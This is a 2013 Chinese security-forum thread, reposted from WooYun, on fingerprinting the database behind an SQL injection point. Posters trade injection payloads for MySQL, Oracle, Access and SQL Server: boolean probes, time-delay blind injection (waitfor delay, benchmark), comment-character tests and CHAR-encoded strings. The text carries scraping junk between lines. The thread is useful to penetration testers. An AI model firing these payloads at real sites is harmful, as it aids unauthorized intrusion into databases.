找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2073|回复: 0
打印 上一主题 下一主题

一个注射点如何最快速确认是什么类型数据库

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-11 09:54:04 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
一个注射点如何最快速确认是什么类型数据库
* K, a- M/ k  H8 _xsser (十根阳具有长短!!) | 2013-02-05 12:36
- B' U4 ^1 H. {( M假设这么一个注射点:2 H1 L3 ]; t  x1 h, C  R7 G: O
show.html?id=2/ I, e9 P6 L& k( ]* z9 \/ _3 P! Y  W
mysql:id=2 and version()>0/ ?) X2 K/ K. n$ q% i1 Z0 B  s
oracle:id=2 and '1'||'1'='11
7 a( o& C$ C% P4 n! e6 u其他的欢迎补充
* [. W3 ]/ g4 [  M1#) R; ]+ l! C$ B, n+ a' e6 y
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:475 h" L# X. `/ ~0 t/ j7 t4 i* G$ t; Q
Access:
) l. M- G9 _3 Q; \) l# UaNd aSc(cHr(97))=97/ |; D. }, u4 v7 n% R; P% q& i4 N
and exists(select id from MSysAccessObjects)
7 [4 @! P/ Y( s) q6 \/ ~SQL Server:
9 t8 }' e: M6 X/ Nand exists(select id from sysobjects)
' A2 W0 t8 V& ~and length(user)>0: I- m- l4 |+ o: Q) K6 N8 O
MySQL:
. X- T" s* c0 B" v4 i' O1 vand length(user())>0: A0 Q- B8 _0 z; i
2#; a0 d7 c2 z9 [" [
xsser (十根阳具有长短!!) | 2013-02-05 12:48
) C( a& H% e5 _8 G@upload 如果这些都不是呢…+ R3 \2 r% W* k& w
3#! \( C0 z9 F! l
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03* u4 Z( E: f7 r1 x; s1 u& g
@xsser 不快速的,延时注入
! Q7 f4 M: p, ]3 ~不知道这样写对不对7 ~" A3 w" B* l! g5 W
mssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'; [' k  I0 R0 }1 Y+ O2 w& r& T+ G6 z
mysql:id=2 and select benchmark(1e8,current_date());
: F0 J/ m; L+ o$ I4#
' t8 i) ]- X1 Nupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10
  Q$ v4 c+ f6 a7 |( Z最快的貌似是看报错信息  b' E0 J6 y6 W: g: D; K6 g
oracle error
' Y/ A5 n& p; t- hmssql error' Q6 @# x: F1 P4 r
mysql error
& Y6 Q4 x  X% E3 w$ i- F- A5#6 Q( ?/ |% }4 y( x  S+ N
Nimda (你们都是坏银~) | 2013-02-05 13:146 i, R3 |& M( Z: M/ t8 B% p
小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)0 G3 J9 p$ L6 ^: I+ Z) _
6#
5 M$ x+ L% V6 `! ~upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21
8 l# i" K' ?* s4 z! Y3 S“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:% f9 R3 r! D" n7 B6 j' K
“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:
9 S7 o- C& }- N  A3 H; \9 d$ r, R“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。* }) s7 |$ g; ^% `; X$ i3 `8 S
7#2 H# Y! q  j) y  M' u, J9 _! J) {
_Evil (HackEnd) | 2013-02-05 13:335 V+ ]8 N5 C# t, @" R
PostgreSQL
! B1 C3 {- Q$ C- \8#5 e2 Z! B2 j: g, n/ R
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42* `2 r! d* a' s! ?
切换编码 and 1=11 ~5 z$ G7 Z  Q+ h: i, r$ F
oracle:9 [& z  ]- ~  |8 q5 {( q4 E3 J6 G
CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)
& k( B8 s* `1 Y: X% G" l! Vmssql:
9 N" K2 s' v- O8 l3 O! DCHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)
. f5 [, O1 x0 L+ U; mmysql:
. i, Q, x  |7 mCHAR(97, 110, 100, 32, 49, 61, 49)9 W$ s# K& _5 G5 J" z7 ~. K
9## p9 \3 J& L$ F7 @! Z6 i' Z
xsser (十根阳具有长短!!) | 2013-02-05 14:31- \1 r0 N& a- |! z4 ~1 J
@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?! L4 R8 }# _6 x. g7 I! c
10#
: S# M% q# ^/ [* [2 f7 y4 {upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46
- X" Q% @4 d% R@xsser 是奇葩数据库类型的么?' P; g, A7 }# _% P
根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:
0 r# o+ j! G. A% E1.是否可以使用特定的函数来判断,该数据库特有的0 |, ~" e. |, v% b
2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等
, ~: n. x/ \; z$ M3.是否可以编码查询: M: ]' T  x: v
4.是否显可以利用错信息
. ^4 Z7 u* V; w9 T' C. i0 v5.是否存在数据库某些特性辅助判断9 w5 T9 M$ |3 v* x
个人见解. J$ T2 K3 B2 O
11#
2 e8 I' {, V# G8 Y7 x小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55
- g( G  \3 ~- R3 h' L; i1 {已收藏,mssql可以直接看到错误提示的吧~
2 y8 K2 L8 a% Q, \% G  p6 o8 w( a# q5 r12#( k5 {4 r4 r* p7 Q' j8 w8 o
Passer_by | 2013-02-05 15:09+ x# e* F% L) X/ K0 i9 }
曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。
# b7 X) ?% Z' Kfrom:http://zone.wooyun.org/content/260
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表